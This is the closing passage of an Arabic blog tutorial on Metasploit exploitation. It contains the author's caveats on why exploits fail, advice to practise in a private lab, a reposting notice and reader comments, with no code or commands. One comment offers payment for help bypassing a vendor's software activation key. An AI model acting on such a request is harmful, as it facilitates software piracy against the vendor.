ملاحظة: استخدام مشروع ميتاسبلويت واستغلال ثغراته يجب أن يتم بدقة وليس من الضروري أن تتمكن من استغلال الثغرة واختراق الجهاز من المرة الأولى! يوجد أكثر من 100 احتمال لعدم عمل الاستغلال بالشكل المطلوب وهنا يأتي دورك لاكتشاف السبب وليس دوري! أنا أشرح طريقة الاستخدام وكيفية التعامل مع المشروع لكني لن أتمكن من معرفة لماذا لم يعمل الاستغلال عندك أو لماذا لم تتمكن من اختراق الجهاز!! قد تكون المشكلة نقص بالحزم الموجودة في جهازك أو من الثغرة, الاعدادات التي اخترتها, الاستغلال أو احدى خياراته, اصدار الثغرة, اصدار النظام الذي تحاول اختراقه مختلف, من الممكن أن يكون مدير النظام قد حدّث النظام أو أصلح الثغرة أو حتى وجود جدار ناري أو أنظمة حماية IDS تمنع تنفيذ الاستغلال… باختصار “Think Out The Box” واعتمد على نفسك في حل المشاكل كما أني أنصح بشدة القيام بتطبيق ما قرأته داخل Lab خاص بك والتدرب على استخدام مشروع ميتاسبلويت واستغلال ثغراته بشكل عملي.

وبالنهاية أتوقع أنه ليس من الضروري التذكير بأن الموضوع خاص بالمدونة وأنا لا أسمح بنقله كاملا أو بدون ذكر رابط للمصدر وفي حال أردت نقل الموضوع “للفائدة العامة!!” من الأفضل الاكتفاء باقتباس جزء منه و وضع رابط لتكملة قراءته فأنا أبذل الكثير من الوقت في الاجابة على الأسئلة التي تطرح بالتعليقات لأنها تحقق الفائدة بشكل أكبر وتكمّل النقاط التي نسيت ذكرها في الموضوع.

تحديث1: استخدام مشروع Metasploit و شرح استغلال ثغراته بالتفصيل

  1. شرح رائع جدا ومفيد جدا. اشكرك على مجهودك ودقتك في سرد التفاصيل. ارجو منك مساعدتي في احدى البرامج التي تحتاج لمفتاح تفعيل لتعمل. فالشركه تحتكر المفتاح لها. وانا جاهز لدفع اي مبلغ مادي. اعرف ان تعليقي بعيد عن الموضوع. لكني بحاجه لخبرتك في انظمة التشغيل.

  1. تنبيه: الاستخدامات المتقدمة لمشروع ميتاسبلويت « Malik Abbassa

أضف تعليقاً

إملأ الحقول أدناه بالمعلومات المناسبة أو إضغط على إحدى الأيقونات لتسجيل الدخول:

WordPress.com Logo

أنت تعلق بإستخدام حساب WordPress.com. تسجيل خروج   / تغيير )

صورة تويتر

أنت تعلق بإستخدام حساب Twitter. تسجيل خروج   / تغيير )

Facebook photo

أنت تعلق بإستخدام حساب Facebook. تسجيل خروج   / تغيير )

Google+ photo

أنت تعلق بإستخدام حساب Google+. تسجيل خروج   / تغيير )

Connecting to %s

%d مدونون معجبون بهذه: